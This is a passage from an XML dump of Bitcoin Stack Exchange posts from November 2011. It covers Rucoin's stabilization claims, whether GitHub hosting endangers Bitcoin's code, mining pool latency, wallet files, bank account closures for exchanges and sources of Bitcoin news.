rate at the games speculators, who for the sake of their earnings will generate most unpredictable chatter in the system, Rucoin provides some tools functionally similar to central bank and the stabilization fund, whose main task - to make the course of crypto-currency stable, predictable and guaranteed .&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Rucoin, unlike Bitcoin, totally unsuitable for currency speculators, but it is very suitable for the conservation and savings to ensure a stable and reliable infrastructure of payment systems new generation.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;In addition, Rucoin towards Bitcoin may well serve as a reserve currency, into which can be converted part of the funds for the insurance of all kinds of surprises.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;So the author claims to implement a central bank and stabilization fund but makes no mention on how that is possible or how it will be implemented.  Given that exchange and a direct to cash mining pool were launch prior to the actual block chain my suspicion is this is merely a poorly designed pump and dump.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since the launch the author has not provided any further information on how the claims will be implemented.  Based on the volatility seen at &lt;a href=&quot;http://btc-e.com&quot;&gt;http://btc-e.com&lt;/a&gt; (largest exchange offering RUC trades) there has been no &quot;currency regulation&quot;, &quot;central bank&quot; action or effective use of this so far unseen &quot;stabilization fund&quot;.&lt;/p&gt;&#xA;" OwnerUserId="307" LastActivityDate="2011-11-07T16:05:33.333" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1935" PostTypeId="2" ParentId="1930" CreationDate="2011-11-07T18:04:37.467" Score="2" Body="&lt;p&gt;As of now there is no tools that helps a company to make automatic salary payments in BTC. I think such system would save a lot of money for a company and encourage closed loop of BTC cycling between merchant and customer.&lt;/p&gt;&#xA;" OwnerUserId="108" LastActivityDate="2011-11-07T18:04:37.467" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1936" PostTypeId="1" AcceptedAnswerId="1938" CreationDate="2011-11-07T20:26:14.963" Score="10" ViewCount="485" Body="&lt;p&gt;The single most-trusted canonical source of Bitcoin client is &lt;a href=&quot;https://github.com/bitcoin/bitcoin&quot;&gt;https://github.com/bitcoin/bitcoin&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This URL is controlled by a single US company GitHub Inc., headquartered in San Francisco, United States. The US government (nor any other government) is probably not a friend of Bitcoin, and they could theoretically threat the CEOs of GitHub Inc. with an arrest, unless they implement some kind of backdoor into the Bitcoin code, which could be downloaded by a large number of people before it would get noticed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If and how is the Bitcoin network protected from being poisoned and destroyed this way?&lt;/p&gt;&#xA;" OwnerUserId="162" LastEditorUserId="121614" LastEditDate="2023-08-05T16:29:19.347" LastActivityDate="2023-08-05T16:29:19.347" Title="How safe it is that a single San Francisco company controls the canonical location of Bitcoin code?" Tags="|bitcoin-core-development|decentralization|safety|politics|" AnswerCount="4" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1937" PostTypeId="2" ParentId="1930" CreationDate="2011-11-07T20:30:16.330" Score="3" Body="&lt;p&gt;Silk Road is somewhat a closed cash flow loop, as they are hiring now.&lt;/p&gt;&#xA;" OwnerUserId="537" LastActivityDate="2011-11-07T20:30:16.330" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="1938" PostTypeId="2" ParentId="1936" CreationDate="2011-11-07T20:41:01.267" Score="18" Body="&lt;p&gt;You should learn more about the way the git scm system works. First, it is distributed so that everyone has a complete copy of the entire codebase; second, every commit is checksummed, so that if github wanted to (or was forced to) underhandedly change code, it would be detected by everyone.&lt;/p&gt;&#xA;" OwnerUserId="441" LastActivityDate="2011-11-07T20:41:01.267" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1939" PostTypeId="2" ParentId="1936" CreationDate="2011-11-07T22:05:47.693" Score="8" Body="&lt;p&gt;It's just not a plausible threat model. First, all changes are publicly audited by hundreds of people. Second, releases are signed by the developers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Third, it wouldn't even do any real damage. Bitcoin once had an overflow bug that did about as much damage as any intentional defect possibly could. The network easily recovered as people identified the bug, distributed fixed clients, and rejected the invalid transactions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you're really worried about this, just don't upgrade to any new version until it's been out for at least a week. By that time, any subterfuge would have been discovered by dozens of people and widely reported around the world.&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2011-11-07T22:05:47.693" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1940" PostTypeId="1" AcceptedAnswerId="1942" CreationDate="2011-11-08T13:03:50.370" Score="11" ViewCount="1584" Body="&lt;p&gt;What are the main components one should focus on when trying to maximize a mining pool's performance? Assuming the code is pretty optimal (there aren't any inefficiencies), what should a pool owner devote their attention or resources to? I'm thinking about factors such as hardware speed, internet speed, latency, or some additional features, like long polling, and what priority should those have.&lt;/p&gt;&#xA;" OwnerUserId="323" LastEditorUserId="5406" LastEditDate="2016-02-17T21:14:27.233" LastActivityDate="2016-02-17T21:14:27.233" Title="Mining pool performance optimization" Tags="|mining-pools|block-header|latency|block-propagation-time|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1941" PostTypeId="2" ParentId="1936" CreationDate="2011-11-08T14:05:08.400" Score="5" Body="&lt;p&gt;If you follow the advice &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/565/how-can-one-download-the-bitcoin-client-securely&quot;&gt;on this question&lt;/a&gt;, you can download the client and verify it's been signed by Jeff Garzik, free from any possible tampering by middle men.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Future client versions are planned to be distributed via other, more p2p-friendly means (the name of the distribution project has slipped my mind right now)&lt;/p&gt;&#xA;" OwnerUserId="78" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.743" LastActivityDate="2011-11-08T14:05:08.400" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1942" PostTypeId="2" ParentId="1940" CreationDate="2011-11-08T16:51:59.227" Score="7" Body="&lt;p&gt;The code isn't optimal especially not on the merged mining side.  Currently there is no optimal method to handle both block chains without a more advanced miner-pool communication protocol.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Excluding merged mining issues, latency is a large factor.  When a block change occurs every single miner's effective hashing power is zero until they begin working on updated block header.  Thus a pool's effective hashing power goes from total hashing power down to 0 and then rises as miner's are updated. So pool's long term effective hashing power depends on how quickly it can deal with a block change.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This involves three components.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Detecting block change.  A good pool should have large number of connections to the Bitcoin network to minimize the delay in learning of block chain. A good pool operator will ensure they maintain connections &quot;close&quot; (within 1 or 2 hops) of every major pool.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Recalculating block headers.  During a block each miner will complete their work at differing times and thus getwork requests are staggered.  However when a block changes the pool needs to update every miner's block header at once. A pool lacking sufficient processing power to quickly compute block headers will have miners working on stale work longer and thus have a higher average stale %.  Updating miners in the order of their hashing power could reduce the pool's overall stales slightly.  I don't know if any pool currently does that.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Update miners.  The latency of the miner's link is beyond the control of the pool but a pool can improve efficiency by having multiple pool servers reducing the number of hops to all miners.  Pool servers should be located as close to miners as possible.  A pool consisting mostly of miners in Asia shouldn't use US East Coast datacenter for example.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;NTimeRolling reduces the number of communications (getworks) required for a given number of hashes.  this makes the pool more efficient as a given amount of hardware can support more clients however it doesn't reduce load at a block change.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Implementing Long Polling ensures that miners are notified when a block change occurs (minus latency indicated above) rather than continuing to work on stale data until complete.  Completing one nonce range takes roughly 10 seconds for a 400MH miner.  Without long polling on average the miner will waste 5 seconds per block change working on data that can never produce a valid block.  Given block changes occur every 600 seconds that is roughly 1% of CPU time wasted hashing invalid block headers. Slower miners have longer period between getworks and thus waste a greater % of GPU time.  No pool can be efficient without a good Long Polling implementation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Both NTimeRolling and Long Polling (LP) require a miner which properly understands these commands.&lt;/p&gt;&#xA;" OwnerUserId="307" LastEditorUserId="307" LastEditDate="2011-11-09T02:12:51.363" LastActivityDate="2011-11-09T02:12:51.363" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="1944" PostTypeId="2" ParentId="1940" CreationDate="2011-11-08T20:30:23.603" Score="3" Body="&lt;p&gt;The most critical factor is this: When a new block is discovered on the Bitcoin network, how long does it take the pool to get a new work unit based on the new block to the vast majority of its clients? This is determined by three factors:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) Long Polling: If you care about performance, you &lt;em&gt;have&lt;/em&gt; to support LP. It's that simple.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) Network Latency: If the mining controller is on a slow link or the miners are located a long distance from the controller, this becomes a significant factor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;3) CPU on the Controller: The CPU can be 3% normally and you might think you're doing fine. But if it maxes out one core when a new block is discovered, this can be a significant factor in idle miners or stale shares.&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2011-11-08T20:30:23.603" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1947" PostTypeId="1" CreationDate="2011-11-08T23:22:46.600" Score="9" ViewCount="248" Body="&lt;p&gt;It takes a while to download and process the transaction log.&#xA;Doing that for dozens of wallets would be a big waste.&#xA;I want to run just one client full time as a log processor.&#xA;Then for each wallet, symlink the log processor's data&#xA;files into each wallet's homedir.&#xA;Even if I can't tell each client to NOT pull down new&#xA;logs and process them, I can still copy the processor's ones&#xA;in as needed and then start the client.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So what files in the homedir are wallet specific, wallet signed,&#xA;or in ANY way linked to your wallet and keys/ids, etc?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And what files are completely safe/anonymous to redistribute, crossplant,&#xA;etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do I separate the identity files from the network data files?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What files are, and do, exactly what?&#xA;Thanks :)&lt;/p&gt;&#xA;" OwnerUserId="670" LastEditorUserId="5406" LastEditDate="2016-08-19T08:46:12.273" LastActivityDate="2016-08-19T08:46:12.273" Title="One dataset for many wallets... how?" Tags="|blockchain|wallet|client|rescan|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1948" PostTypeId="2" ParentId="1947" CreationDate="2011-11-08T23:46:16.527" Score="6" Body="&lt;p&gt;Only the &lt;code&gt;wallet.dat&lt;/code&gt; file is specific to the wallet. You can stop the client, swap out the &lt;code&gt;wallet.dat&lt;/code&gt; file for a different wallet, and then launch the client again. You may need to start the client with the &lt;code&gt;-rescan&lt;/code&gt; option -- the client will do the right thing automatically in most cases, but there are a few corner cases it mishandles without &lt;code&gt;-rescan&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2011-11-08T23:46:16.527" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1949" PostTypeId="1" AcceptedAnswerId="1954" CreationDate="2011-11-09T23:12:34.763" Score="15" ViewCount="2222" Body="&lt;p&gt;I find it really strange that it happens that so many Bitcoin exchanges have their bank accounts closed.&lt;/p&gt;&#xA;&lt;p&gt;Outside of the Bitcoin world, I find it very unusual to have a bank account closed, for a reason other than inactivity. The only case I remember is Julian Assange's Swiss Postfinance.ch account closed.&lt;/p&gt;&#xA;&lt;p&gt;Maybe it's a specific practice of banks in certain countries?&lt;/p&gt;&#xA;&lt;p&gt;Many banks that I had been dealing with, seemed to have the attitude that everyone with a passport (for individuals) or company papers (for companies) can just open an account, no matter what his business is - whether he is trading spaghetti, sand on the beach, air or voucher codes - it's none of the bank's business. Their only worry is whether the person who opens the account is really the one who he says he is. The bank doesn't have to understand your business, their business is to verify ID and do maths. The rest is the customer's business and responsibility. Of course, the bank has to report transactions over a certain threshold and/or suspicious to a certain government agency, but closing accounts?&lt;/p&gt;&#xA;&lt;p&gt;Maybe it's the matter of attitude, common practices, banking culture being different in those countries that the banks closing the accounts where established? The Bitcoin exchanges accounts are closed mostly in &amp;quot;old&amp;quot; western EU (UK, France), and the much more relaxed &amp;quot;no bullshit&amp;quot; attitudes of banks I have encountered is mostly from Central/Eastern EU banks (&amp;quot;new&amp;quot; EU countries).&lt;/p&gt;&#xA;&lt;p&gt;Is it common for western EU banks to be so picky about customers, and closing accounts despite meeting formal ID requirements of the companies?&lt;/p&gt;&#xA;&lt;p&gt;The sometimes mentioned claim that it might be illegal to &amp;quot;hold other people's money if you are not licensed to do it&amp;quot; is not very plausible, as any business &amp;quot;holds other people's money&amp;quot; for some time, and there are even ones which sell &amp;quot;numbers which hold a value&amp;quot; for money - prepaid vouchers for mobile phone recharges for example. That voucher is usually a 16-digit long number that holds some value - if that is fine, then Bitcoin must be no different - both are basically selling numbers which hold monetary value.&lt;/p&gt;&#xA;" OwnerUserId="162" LastEditorUserId="14911" LastEditDate="2021-01-18T00:27:48.943" LastActivityDate="2021-01-18T00:27:48.943" Title="Why do so many bitcoin exchanges have their bank accounts closed and have problems establishing bank accounts?" Tags="|exchanges|banks|" AnswerCount="2" CommentCount="7" ContentLicense="CC BY-SA 4.0" />
  <row Id="1950" PostTypeId="2" ParentId="1949" CreationDate="2011-11-09T23:35:29.463" Score="0" Body="&lt;p&gt;I know that one of the Polish exchanges is closing down as they don't want to have problems with possible unpaid taxes and so forth. From what I understand the operations that take place in an exchange would require them to pay taxes and they just don't want to get into that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is possible that some exchanges are closing down because they operate illegally, that is, they aren't companies and they don't pay taxes. This would be a perfectly justified reason for the accounts to be closed down.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't think it could be some political reasons or otherwise, seeing how WikiLeaks still can receive bank transfers whereas Paypal, Visa and Mastercard all bailed on them.&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2011-11-09T23:35:29.463" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="1951" PostTypeId="2" ParentId="1930" CreationDate="2011-11-10T01:28:15.550" Score="1" Body="&lt;p&gt;There is no realistic possibility of a closed loop forming in the real economy at this early stage, given how few, relative to the world population, and widely distributed (as opposed to concentrated in one geographical location) bitcoin users are right now.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A closed loop could form in a virtual world like an OpenSim (the software that runs Second Life) world though since these are to a large extent closed economies, and need to use a virtual currency any way.&lt;/p&gt;&#xA;" OwnerUserId="7" LastActivityDate="2011-11-10T01:28:15.550" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1952" PostTypeId="1" CreationDate="2011-11-10T02:29:54.240" Score="11" ViewCount="711" Body="&lt;p&gt;It seems that at some point countries will start cracking down on Bitcoins.  And Bitcoin is designed to handle that.  However, are there some countries that are openly friendly to bitcoin businesses and/or have a history of permitting additional currencies.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;To put this question in another way, are there countries that are to Bitcoins like Switzerland is to banking?&lt;/p&gt;&#xA;" OwnerUserId="662" LastEditorUserId="2306" LastEditDate="2013-03-12T20:53:55.197" LastActivityDate="2013-03-12T20:53:55.197" Title="Is there a list of countries that are not likely to persecute bitcoin businesses?" Tags="|legal|" AnswerCount="3" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1953" PostTypeId="1" AcceptedAnswerId="1955" CreationDate="2011-11-10T03:26:03.110" Score="6" ViewCount="395" Body="&lt;p&gt;As some examples which seem logical to me, but should only be taken as examples:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A government that is susceptible to commercial lobbying is probably more likely to be pressured by banks to disallow competition with their services.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Governments that have a corruption problem might also be quietly bribed to legislate against a currency that competes with the official one.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Countries that support open source software might tend to have a &quot;for the good of the community attitude&quot; that matches the philosophy of Bitcoins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For this question, it's probably important to provide references/examples (such as information about who is trying to stop use of bitcoins and why). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I see the need to ask this question to help provide a foundation for this one: &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/1952/is-there-a-list-of-countries-that-are-not-likely-to-persecute-bitcoin-businesses&quot;&gt;Is there a list of countries that are not likely to persecute bitcoin businesses?&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="516" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:36.647" LastActivityDate="2014-03-25T08:18:43.297" Title="What are the qualities of a country that might make it more or less likely to freely allow Bitcoins or crypto-currencies?" Tags="|currencies|legal|banks|politics|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1954" PostTypeId="2" ParentId="1949" CreationDate="2011-11-10T04:59:38.310" Score="16" Body="&lt;p&gt;Countries have AML (anti-money laundering) laws that limit activities that could enable money laundering. A Bitcoin exchange arguably can be used for money laundering. Even if the letter of the law doesn't say anything specifically relevant to Bitcoin, banks don't want to take chances.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To be able to respect AML and other laws, banks do need to know a few things about the owner and the business, and they have a &quot;know your client&quot; procedure for it. For most businesses this goes uneventfully, for others (e.g. Bitcoin exchange) it could be a problem.&lt;/p&gt;&#xA;" OwnerUserId="575" LastEditorUserId="575" LastEditDate="2011-11-10T05:04:56.947" LastActivityDate="2011-11-10T05:04:56.947" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1955" PostTypeId="2" ParentId="1953" CreationDate="2011-11-10T05:10:01.497" Score="2" Body="&lt;p&gt;Countries which have strict AML (anti-money laundering) laws are less likely to freely allow Bitcoin use and exchange.&lt;/p&gt;&#xA;" OwnerUserId="575" LastEditorUserId="575" LastEditDate="2011-11-10T11:46:09.293" LastActivityDate="2011-11-10T11:46:09.293" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1956" PostTypeId="1" AcceptedAnswerId="1957" CreationDate="2011-11-10T06:51:41.867" Score="6" ViewCount="5487" Body="&lt;p&gt;The &lt;code&gt;gen&lt;/code&gt; option isnt copiously described in &lt;a href=&quot;https://en.bitcoin.it/wiki/Running_Bitcoin#Bitcoin.conf_Configuration_File&quot; rel=&quot;nofollow&quot;&gt;the sample bitcoin.conf file&lt;/a&gt;  ... does that mean that the daemon started up will attempt to mine for coins?&lt;/p&gt;&#xA;" OwnerUserId="564" LastEditorUserId="5406" LastEditDate="2016-03-16T10:52:45.297" LastActivityDate="2023-11-11T09:15:35.250" Title="What does the `gen` option in bitcoin.conf do?" Tags="|bitcoin-core|miner-configuration|bitcoin.conf|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1957" PostTypeId="2" ParentId="1956" CreationDate="2011-11-10T07:23:57.553" Score="7" Body="&lt;p&gt;That configuration parameter no longer has any effect because the CPU mining engine has been removed from the mainline client.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Earlier versions of the client did have a built in miner and the gen parameter controlled if it ran in the background.  Given the much higher difficulty today the developers felt it no longer served a purpose and would be confusing to new users (who could wait months of even years without generating a single coin).  It was removed from the client.  The wiki should be updated to reflect that.&lt;/p&gt;&#xA;" OwnerUserId="307" LastActivityDate="2011-11-10T07:23:57.553" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1958" PostTypeId="1" AcceptedAnswerId="1962" CreationDate="2011-11-10T11:31:28.290" Score="12" ViewCount="1156" Body="&lt;p&gt;Which blogs or websites are the most respected in the community to bring everyone up-to-date with the Bitcoin-related news? I'm not talking about the forums, as the sheer volume of messages are overwhelming, nor am I talking about major news sites that occasionally mention Bitcoins. I'd like to know where should one go if they want the latests ins and outs of all things Bitcoin related in a digestible form.&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2017-10-17T22:34:06.343" Title="What are the most respectable Bitcoin news websites?" Tags="|websites|news-coverage|" AnswerCount="4" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1959" PostTypeId="2" ParentId="1958" CreationDate="2011-11-10T13:08:35.943" Score="4" Body="&lt;p&gt;Personally, besides the forums and SE, I'm following the &lt;a href=&quot;http://reddit.com/r/Bitcoin/&quot; rel=&quot;nofollow&quot;&gt;sub-Reddit&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="78" LastEditorUserId="78" LastEditDate="2011-11-15T22:33:47.563" LastActivityDate="2011-11-15T22:33:47.563" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1960" PostTypeId="1" CreationDate="2011-11-10T13:35:14.180" Score="10" ViewCount="1609" Body="&lt;p&gt;Since mt.gox &lt;a href=&quot;https://mtgox.com/press_release_20111021.html&quot; rel=&quot;nofollow&quot;&gt;had to close&lt;/a&gt; its european office, is there any other exchange accepting SEPA transfers?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sending a wire to the HK office costs much more than a SEPA transfer to me, and I'd like to avoid that extra expense if possible.&lt;/p&gt;&#xA;" OwnerUserId="196" LastEditorUserId="196" LastEditDate="2013-10-24T11:33:41.740" LastActivityDate="2013-10-25T14:42:56.603" Title="Is there a bitcoin exchange accepting SEPA transfers?" Tags="|exchanges|mtgox|wire-transfers|" AnswerCount="3" CommentCount="7" ClosedDate="2013-10-25T14:47:28.423" ContentLicense="CC BY-SA 3.0" />
  <row Id="1961" PostTypeId="2" ParentId="1960" CreationDate="2011-11-10T17:29:32.830" Score="7" Body="&lt;p&gt;&lt;strong&gt;EDIT This information is now out of date - voting to close this question&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could use &lt;a href=&quot;https://intersango.com&quot; rel=&quot;nofollow&quot;&gt;Intersango&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's a well-trusted exchange that operates within the Eurozone (and in the UK). You see their &lt;a href=&quot;https://intersango.com/fees.php&quot; rel=&quot;nofollow&quot;&gt;current fee structure&lt;/a&gt; provides SEPA transfer: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Country             Accepting deposits  Processing withdrawals&#xA;GBP (domestic)      Free                Free&#xA;EUR (SEPA)          5 PLN (1.23 EUR)    5 PLN (1.23 EUR)&#xA;EUR (international) 10 PLN (2.46 EUR)   0.2%, capped: 9.5 PLN min, 180 PLN max&#xA;&amp;lt;snip&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="117" LastEditorUserId="117" LastEditDate="2013-10-24T15:45:41.073" LastActivityDate="2013-10-24T15:45:41.073" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1962" PostTypeId="2" ParentId="1958" CreationDate="2011-11-10T19:36:56.897" Score="16" Body="&lt;p&gt;Here are a list of blogs/sites I follow to keep up with bitcoin news:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.reddit.com/r/Bitcoin/&quot; rel=&quot;nofollow&quot;&gt;reddit/r/bitcoin&lt;/a&gt; - user aggregated bitcoin links/topics, usually anything notable will be posted here.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://bitcoinmagazine.com/&quot; rel=&quot;nofollow&quot;&gt;Bitcoin Magazine&lt;/a&gt; - also available as an actual physical print magazine. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://cryptocoinsnews.com/&quot; rel=&quot;nofollow&quot;&gt;Cryptocoin News&lt;/a&gt; - mentions altcoins, but Bitcoin is most prominent&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.coindesk.com/&quot; rel=&quot;nofollow&quot;&gt;CoinDesk&lt;/a&gt; - a relatively new entrant to the Bitcoin news space&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.thegenesisblock.com/&quot; rel=&quot;nofollow&quot;&gt;The Genesis Block&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://themonetaryfuture.blogspot.com/&quot; rel=&quot;nofollow&quot;&gt;The Monetary Future&lt;/a&gt; - not exclusively bitcoin related but often covers bitcoin or related topics. This blogger (Jon Matonis)  is now a &lt;a href=&quot;http://blogs.forbes.com/jonmatonis/&quot; rel=&quot;nofollow&quot;&gt;Forbes blogger&lt;/a&gt; and the content will typically appear on the &lt;a href=&quot;http://blogs.forbes.com/jonmatonis/&quot; rel=&quot;nofollow&quot;&gt;Forbes&lt;/a&gt; site first.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://codinginmysleep.com/&quot; rel=&quot;nofollow&quot;&gt;Coding in my sleep&lt;/a&gt; - a personal blog  but more and more bitcoin related topics recently. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.thebitcointrader.com/&quot; rel=&quot;nofollow&quot;&gt;The Bitcoin Trader&lt;/a&gt; - excellent blog on bitcoin related topics. (less active recently (end 2012))&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.bitcoinmoney.com/&quot; rel=&quot;nofollow&quot;&gt;Bitcoin Money&lt;/a&gt; - another bitcoin blog. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.bitcoinminer.com/&quot; rel=&quot;nofollow&quot;&gt;Bitcoin Miner&lt;/a&gt; - bitcoin mining focused blog.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://bitcoinwatch.com/&quot; rel=&quot;nofollow&quot;&gt;Bitcoin Watch&lt;/a&gt; - has a collection of links to the latest news along with exchange stats etc. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://stuffexists.com/&quot; rel=&quot;nofollow&quot;&gt;stuffexists.com&lt;/a&gt; - collection of lots of useful links.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://bitcoinmedia.com/&quot; rel=&quot;nofollow&quot;&gt;Bitcoin Media&lt;/a&gt; - blog with articles mainly by Amir Taaki (genjix) (a Bitcoin developer)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://blockchained.com/&quot; rel=&quot;nofollow&quot;&gt;blockchained.com&lt;/a&gt; - has a Top 16 Hot Topics from Bitcointalk.org (seems to use an algorithm to rank the most active current topics) as well as charts an some news links (was &lt;a href=&quot;http://www.bitcoinx.com/charts/&quot; rel=&quot;nofollow&quot;&gt;bitcoinx.com&lt;/a&gt; but that currently only has charts)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.quora.com/bitcoinboard&quot; rel=&quot;nofollow&quot;&gt;Bitcoin on Quora&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://twitter.com/search?q=bitcoin&quot; rel=&quot;nofollow&quot;&gt;Bitcoin on Twitter&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The press &lt;a href=&quot;https://bitcointalk.org/index.php?board=77.0&quot; rel=&quot;nofollow&quot;&gt;sub-forum&lt;/a&gt; of bitcointalk.org is usually kept up to date with any press on bitcoin &lt;/p&gt;&#xA;" OwnerUserId="61" LastEditorUserId="6021" LastEditDate="2016-06-06T15:21:05.413" LastActivityDate="2016-06-06T15:21:05.413" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="1963" PostTypeId="1" CreationDate="2011-11-10T21:15:16.073" Score="9" ViewCount="813" Body="&lt;p&gt;I can see that Bitocin can provide escrow contracts. &lt;a href=&quot;https://en.bitcoin.it/wiki/Contracts#Example_2:_Escrow_and_dispute_mediation&quot;&gt;https://en.bitcoin.it/wiki/Contracts#Example_2:_Escrow_and_dispute_mediation&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can someone provide a worked example or even better a pointer to a code example.&lt;/p&gt;&#xA;" OwnerUserId="293" LastActivityDate="2011-11-10T21:58:31.177" Title="How do I implement an escrow service using Bitcoin contracts?" Tags="|escrow|contracts|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1964" PostTypeId="2" ParentId="1963" CreationDate="2011-11-10T21:58:31.177" Score="7" Body="&lt;p&gt;The functionality is not yet implemented in Bitcoin. On October 18 Gavin created 3 Bitcoin Improvement Proposals that would support the functionality, &lt;a href=&quot;https://bitcointalk.org/index.php?topic=46538.msg583615#msg583615&quot;&gt;Bitcointalk:OP_EVAL proposal&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://en.bitcoin.it/wiki/BIP_0011&quot;&gt;M-of-N Standard Transactions&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://en.bitcoin.it/wiki/BIP_0012&quot;&gt;OP_EVAL&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://en.bitcoin.it/wiki/BIP_0013&quot;&gt;Address Format for OP_EVAL&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="108" LastActivityDate="2011-11-10T21:58:31.177" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
